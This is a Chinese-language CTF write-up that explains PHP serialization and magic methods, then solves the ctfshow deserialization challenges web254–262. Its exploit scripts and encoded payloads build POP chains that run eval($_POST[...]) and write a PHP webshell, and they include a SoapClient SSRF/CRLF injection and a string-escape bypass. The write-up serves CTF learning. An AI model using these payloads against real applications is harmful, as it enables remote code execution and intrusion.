一.前置php知识

1.类,对象,属性,方法

(class)是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。类本身不是实体,不能直接使用,必须通过实例化生成对象。

class MyClass {    
public $property1; //属性
public function method1() { //方法
// 方法体
}
}

对象

对象(object)是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

  • 每个对象可以有不同的属性值,但共享类中的方法。
  • 对象之间相互独立,修改一个对象的属性不会影响其他对象。
  • 可以调用类中的方法来执行特定的操作。
$object = new MyClass();

属性

属性(Property)是类的成员变量,用于存储对象的状态信息。有以下三种访问控制修饰符

  • **public**:公共属性,可以从类的外部直接访问。

    class Car {
    public $color = "红色";
    public $brand = "宝马";
    }

    $my_car = new Car();
    echo $my_car->color; // 输出: 红色
  • **private**:私有属性,只能在类的内部访问,不能从外部或子类访问。

    class Car {
    private $engineType = "V8";

    public function getEngineType() {
    return $this->engineType;
    }
    }

    $my_car = new Car();
    // echo $my_car->engineType; // 错误:无法从外部访问私有属性
    echo $my_car->getEngineType(); // 输出: V8
  • **protected**:受保护属性,只能在类的内部及其子类中访问。

    class Car {
    protected $fuelType = "汽油";

    public function getFuelType() {
    return $this->fuelType;
    }
    }

    class ElectricCar extends Car {
    public function setFuelType($type) {
    $this->fuelType = $type;
    }
    }

    $my_car = new Car();
    // echo $my_car->fuelType; // 错误:无法从外部访问受保护属性
    echo $my_car->getFuelType(); // 输出: 汽油

    $electric_car = new ElectricCar();
    $electric_car->setFuelType("电力");
    echo $electric_car->getFuelType(); // 输出: 电力

方法

方法(method)是定义在类中的函数,用于描述对象的行为。它可以操作对象的属性或执行某些逻辑。分为以下几种:

  • 实例方法:通过对象调用,可以访问对象的属性和其他方法。

    $object->method1();
  • 静态方法:使用static关键字声明,可以通过类名直接调用,无需实例化对象。

    ClassName::staticMethod();
  • 构造方法:类的构造函数,在创建对象时自动调用,通常用于初始化对象的属性。

    public function __construct() {
    // 初始化代码
    }
  • 析构方法:类的析构函数,在对象被销毁时自动调用,通常用于清理资源。

    public function __destruct() {
    // 清理代码
    }

总结

简单来说,类是定义一系列属性和操作的模板,而对象,就是通过类来创建,把属性进行实例化,完事交给类里面的方法,进行处理。

image-20250123191227156

2.序列化(serialize)

概念

序列化是将复杂的数据结构(如对象、数组)转换成字符串(json格式)的方式,这样可以方便地存储或传输这些数据。

注意,两种情况一定要将对象序列化 ,把一个对象在网络中传输,把对象写入文件或数据库

举例

但是概念的东西看看就行,具体还是要理解,以下举个栗子

image-20250123193140234

这里的O:7:"student":2:{s:4:"name";s:5:"yxing";s:3:"age";i:20;}就是将对象yu序列化后的结果,下面来详细解释这个序列化

O:7:"student":2:{s:4:"name";s:5:"yxing";s:3:"age";i:20;}
O:object,即对象
7:这个对象的字符长度
"student":这个对象的名字
2:这个对象内有两个类属性
{}:花括号内包含该对象的属性和对应的值
s:string属性,即属性的类型
4:第一个类属性长度
"name":第一个类属性名字
s:第一个类属性值类型,s为字符型
5:第一个类属性值长度
"yxing":第一个类属性的值
后面同理
即一般的序列化格式为
变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

值得一提的是,类方法并不会参与到实例化里面。即只序列属性,不序列方法

访问控制修饰符序列化后区别

并且属性的三种访问控制修饰符在序列化后有不同的长度和名称,以下举例说明

image-20250123201512207

image-20250123201325290

O:7:"student":3:{s:4:"name";s:5:"yxing";s:3:"age";i:20;s:2:"qq";i:123;}
O:7:"student":3:{s:4:"name";s:5:"yxing";s:12:"studentage";i:20;s:5:"*qq";i:123;}
可以看到,同为public的name未改变,但是改为private后age前面加上了类名,并且长度增加了9(student7+空字节2),改为protected后qq前面加上了*,并且长度增加了3(*1+空字节2)

通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

  1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]

  2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]

    其中,”\x00”代表ASCII为0的值,即空字节,” * “ 必不可少。

序列化中属性值类型

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

3.反序列化(unserialize)

概念

是序列化的逆过程,即将序列化后的数据重新还原成原始的数据结构或对象。反序列化是从文件、网络数据或数据库中读取序列化的数据,并将其转换回原始形式,以便在程序中进行使用和操作。

举例

image-20250123203110971

如图,就是反序列化最简单的应用,将序列化后数据重新变为原始数据,如果这时对输入的数据,即序列化后的数据进行更改,那么结果也会不一样,比如

image-20250123203418344

在对数据更改后name变成了heciqq变成了654321,(但是注意属性长度必须和属性值对应),而在反序列化中就可通过某些构造实现特定操作

魔术方法

概念及常见方法

为啥叫做魔术方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了魔术方法,建议不要以 __为前缀。以下为常见魔术方法:

__construct() 构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
__destruct() 析构函数,当一个对象销毁时被调用。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__wakeup() 调用unserialize()时触发,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。
__sleep() 调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
__call() 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

额外提下__tostring的触发场景

(1) echo($obj) / print($obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

举例

<?php
class test
{
public $variable = '变量反序列化后都要销毁'; //公共变量
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable."\n";
}
public function __construct()
{
echo '__construct'."\n";
}
public function __destruct()
{
echo '__destruct'."\n";
}
public function __wakeup()
{
echo '__wakeup'."\n";
}
public function __sleep()
{
echo '__sleep'."\n";
return array('variable','variable2');
}
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print $serialized . "\n";
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁),使用一次__destruct
$object2->printvariable();
//脚本结束,会调用__destruct
?>

image-20250124114423539

漏洞利用条件

   1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
   1. unserialize()函数的参数可控。

二.题目

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

简单来说就是会将传入的username和password和预设值做比较,比较成功就通过login方法将$isvip变为true,就能在判断语句中一路对直到flag,因此直接传参(这里可能有点坑的就是真就是6个x,不是真实值)

?username=xxxxxx&password=xxxxxx

image-20250124175430786

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

较上题的区别就是在login方法中isVip不会变成true,因此要通过反序列化来使得isVip为真,注意cookie中要先url编码一次才能成功

本地写以下来获得序列化字符

<?php
class ctfShowUser{
public $isVip=true;
}
$user=new ctfShowUser;
echo (urlencode(serialize($user)));
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

最终payload

GET ?username=xxxxxx&password=xxxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20250124182718533

当然,如果在序列化字符串中加入username和password也没有关系,也能获得flag

<?php
class ctfShowUser{
public $isVip=true;
public $username="xxxxxx";
public $password="xxxxxx";
}
$user=new ctfShowUser;
echo (urlencode(serialize($user)));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3B%7D

image-20250124183009015

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

较上题的区别就是要求最后vipOneKeyGetFlag方法中的username不等于password,而在题目所给的预设值中是相等的,但是在GET传参中username和password的值会被覆盖,因此只要相对应即可

<?php
class ctfShowUser{
public $isVip=true;
public $username="abcdef";
public $password="ghijkl";
}
$user=new ctfShowUser;
echo (urlencode(serialize($user)));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22aaaaaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22bbbbbb%22%3B%7D

payload为

GET ?username=aaaaaa&password=bbbbbb
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22aaaaaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22bbbbbb%22%3B%7D

image-20250124224444718

web257

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

这个反序列化更复杂了,但是分析后,主要就是__construct和__destruct两个魔术方法的利用,由于是第一次做到,详细写一下

__construct

__construct() 是一个特殊的魔术方法(magic method),它会在对象被创建时自动调用

触发条件:在类实例化对象时自动调用构造函数

作用:初始化函数,对类进行初始化,同时也可以执行其它语句

<?php
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben"); //实例化对象时触发构造函数__construct()
$ser = serialize($test); //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

__destruct

__destruct() 函数是 PHP 中的一个魔术方法(magic method),它会在一个对象不再被使用时,或者脚本执行结束时,自动被调用。

触发条件:对象引用完成,或对象被销毁

作用:执行清理工作

<?php
class User {
public function __destruct()
{
echo "触发了析构函数1次";
}
}
$test = new User("benben"); //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test); //在序列化过程中不会触发
unserialize($ser); //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

了解之后再次分析代码,重点就是在反序列化user结束后会自动调用__destruct魔术方法,进而调用getinfo()方法,然后执行私有属性code中的代码,但是由于code是私有属性,所以必须要使用backdoor这个类,因此这个题就很明确了,先使用__construct魔术方法创建backdoor对象,然后通过code这个私有属性的更改构造,来让反序列化后__destruct魔术方法能调用getinfo()方法执行code,即

__construct->__destruct->getinfo //这种通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的的链条就叫做pop链

exp:

<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backdoor';
public function __construct(){
$this->class=new backdoor();//创建backdoor对象,才能更改code私有属性
}
}
class backDoor{
private $code='eval($_POST[123]);';
/*
或者是直接通过命令system('ls');和system('cat flag.php');实现。不过注意flag在源码中,因为被注释掉了,我喜欢传马用bp方便点
*/
}
$user=new ctfShowUser;
echo (urlencode(serialize($user)));
//O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D

payload:

GET ?username=xxxxxx&password=xxxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D
POST 123=system('ls');和123=system('cat flag.php');//需要url编码内容部分,不编码等号

注意添加cookie最好不要在最后一排加,不然容易出错,加在中间不容易错

image-20250125001508137

image-20250125001657025

web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

可以看到这个题和上题对反序列化的内容有了过滤,即不能有O:数字:这种形式出现,只要在数字前面添加等号就行了,+2和2在序列化时是相同的

exp

<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backdoor';
public function __construct(){
$this->class=new backdoor();//创建backdoor对象,才能更改code私有属性
}
}
class backDoor{
public $code='eval($_POST[123]);';
/*
或者是直接通过命令system('ls');和system('cat flag.php');实现。不过注意flag在源码中,因为被注释掉了,我喜欢传马用bp方便点
*/
}
$user=new ctfShowUser;
$user1 = str_replace(':11',':+11',serialize($user));
$user2 = str_replace(':8',':+8',$user1);
echo urlencode($user2);
//O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D

这里我还以为可以只用backdoor这个类,结果后面想了下还需要username和password的预设值,这些需要调用,所以还是需要使用ctfShowUser这个类

payload

GET ?username=xxxxxx&password=xxxxxx
cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D
POST 123=system('ls');和123=system('cat flag.php');//需要url编码内容部分,不编码等号

image-20250125003809046

web259

首先题目中给了flag.php的内容,先解读一下

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

首先将xff按逗号分割,然后去除倒数第一个的值,将倒数第二个的值返回给ip,如果ip的值不等于127.0.0.1,就直接die了,如果等于就要检查POST传参的token,如果为ctfshow,那就将flag的值写入flag.txt文件中

那就是一个伪造xff和POST传参token了,进入环境看看

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

就是一个反序列化GET参数vip

非预期:直接伪造

先说一个非预期,直接伪造xxf和token就可以了

POST传参token=ctfshow
X-Forwarded-For:127.0.0.1,127.0.0.1
访问flag.php

image-20250202230910273

放包后访问flag.txt就获得flag了

image-20250202230930340

预期解:通过SSRF,CRLF和php原生类

SSRF

SSRF攻击

SSRF(Server-Side Request Forgery)指的是服务器端请求伪造攻击,是一种由攻击者构造请求,利用存在缺陷的Web应用作为代理,让服务端发起请求的安全漏洞。

SSRF攻击的基本原理在于攻击者利用服务器作为代理来发送请求。攻击者首先寻找目标网站中可以从服务器发出外部请求的点,比如图片加载、文件下载、API请求等功能。随后,攻击者通过向这些功能提交经过特别构造的数据(如修改URL或参数),诱使服务器向攻击者控制的或者内部资源发送请求。此时,服务器充当了攻击者与目标之间的“桥梁”,攻击者可以通过它来接触和操作内部服务,绕过安全限制。

SSRF攻击的类型
  1. 内部SSRF:攻击者利用漏洞与应用程序的后端或内部系统交互。这种情况下,攻击者可能试图访问数据库、HTTP服务或其他仅在本地网络可用的服务。
  2. 外部SSRF:攻击者利用漏洞访问外部系统。攻击者可能构造恶意的URL,利用Web应用程序的代理功能或URL处理机制,向存在漏洞的服务器发送请求,以获取外部网络资源或执行其他恶意操作。
SSRF出现的根本原因

由于服务端提供了从其他服务器应用获取数据的功能而且没有对目标地址做过滤与限制。

也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我们构造好访问包,那就有可能利用目标服务对他的其他服务器应用进行调用。

CRLF

CRLF攻击,全称Carriage Return Line Feed攻击,是一种利用CRLF字符(回车换行符,即\r\n)的安全漏洞进行的攻击方式

CRLF字符的作用
  • CRLF字符是两个ASCII字符,回车(Carriage Return,\r)和换行(Line Feed,\n)的组合。
  • 在许多互联网协议中,包括HTTP、MIME(电子邮件)和NNTP(新闻组)等,CRLF字符被用作行尾(EOL)标记,以分隔文本流中的不同部分。
CRLF攻击的原理
  • CRLF攻击利用了HTTP协议中换行符的漏洞。HTTP协议规定,每个报文的头部信息的行结束必须是CRLF字符。
  • 攻击者通过在恶意输入中插入CRLF字符,可以改变HTTP报文的格式,从而绕过一些安全机制。
  • 具体来说,攻击者可以在HTTP请求中的参数值中插入CRLF字符,使得服务器在解析请求时将参数值误认为是HTTP头部的一部分。这样一来,攻击者就可以利用这个漏洞进行一系列攻击,如HTTP响应拆分攻击、HTTP响应劫持攻击等。
  • 通过CRLF注入,攻击者可以在HTTP响应中插入额外的头部信息或修改现有的头部信息,从而控制响应的内容或行为。

PHP原生类

在PHP中,反序列化是一个常见的安全问题,特别是当代码中存在反序列化的功能点,但无法构造出完整的POP链时。这时,可以尝试利用PHP的原生类来破解。PHP的一些原生类中内置了魔术方法,如果能够巧妙地构造可控参数并触发这些魔术方法,就可能达到预期的目的。

SoapClient 类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

exp

<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
echo urlencode(serialize($client));
//输出最后需要传入vip的值
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22ceshi%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

注意,这里首次使用要去php配置文件下修改配置extension=soap,即删除前面分号

GET传入后访问flag.txt即可获得flag

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

就是要在序列化获得的字符中匹配ctfshow_i_love_36D,经过测试可知,直接序列化ctfshow_i_love_36D时会生成s:18:"ctfshow_i_love_36D";,因此直接传入即可

image-20250203013311619

image-20250203013337915

web261(php7.4.0开始,__wakeup和__unserialize同时存在时忽略__wakeup)

<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){ //构造函数,当一个对象创建时被调用。
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){ //调用unserialize()时触发,在建立数据库连接时会触发
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //将对象调用为函数时触发
eval($this->code);
}

public function __sleep(){ //调用serialize()时触发,serialize()函数会检查类中是否存在一个魔术方法sleep()。
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){ //:当一个对象销毁时被调用
if($this->code==0x36d){
file_put_contents($this->username, $this->password); //将password写入username中,因此password传内容,username传文件名
}
}
}

unserialize($_GET['vip']);

注意:在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。

又由于在__destruct方法中对code的比较为弱比较,且0x36d=877,因此将username=877.php,password=<?php eval($_POST['123'];)?>,exp如下

<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[\'123\']);?>';
}
$a=new ctfshowvip;
echo urlencode(serialize($a));
vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A28%3A%22%3C%3Fphp+eval%28%24_POST%5B%27123%27%5D%29%3B%3F%3E%22%3B%7D
原始为vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:28:"<?php+eval($_POST['123']);?>";}

然后命令执行

https://140f152d-1718-4241-8dc1-f0e669f904d8.challenge.ctf.show/877.php
POST:123=system("ls /"); 123=system("cat /flag_is_here");

image-20250219185022608

web262(字符逃逸)

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

注释发现message.php,因此先访问试试

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

也就是将token改为admin才能拿到flag,一种方法是直接伪造,另一种是字符逃逸

直接伪造

<?php

class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo (base64_encode(serialize(new message('a','b','c'))));
msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

image-20250219192740754

字符逃逸

概念

逃逸有一个特征就是对序列化后的字符进行一个替换,字符串序列化是以;}结尾的,但对象序列化是直接}结尾,因此类似sql的闭合后再进行替换就可以进行绕过

示例

<?php

class user{
public $username;
public $password;
public $vip;
public function __construct($u,$p)
{
$this->username=$u;
$this->password=$p;
$this->vip=0;

}
}
function filter($s)
{
return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
$us = filter(serialize($u));
echo $us;
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"vip";i:0;}
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"vip";i:0;}

由上例可以看到,由于替换,hacker的长度为5,就有一个r逃逸出来了

如果想构造vip=1,也可以通过构造

<?php

class user{
public $username;
public $password;
public $vip;
public function __construct($u,$p)
{
$this->username=$u;
$this->password=$p;
$this->vip=0;

}
}
function filter($s)
{
return str_replace('admin','hacker',$s);
}
$u = new user('admin";s:8:"password";s:6:"123456";s:3:"vip";i:1;}','123456');//类似sql与前引号进行闭合
$us = filter(serialize($u));
echo $us;
//O:4:"user":3:{s:8:"username";s:50:"hacker";s:8:"password";s:6:"123456";s:3:"vip";i:1;}";s:8:"password";s:6:"123456";s:3:"vip";i:0;}

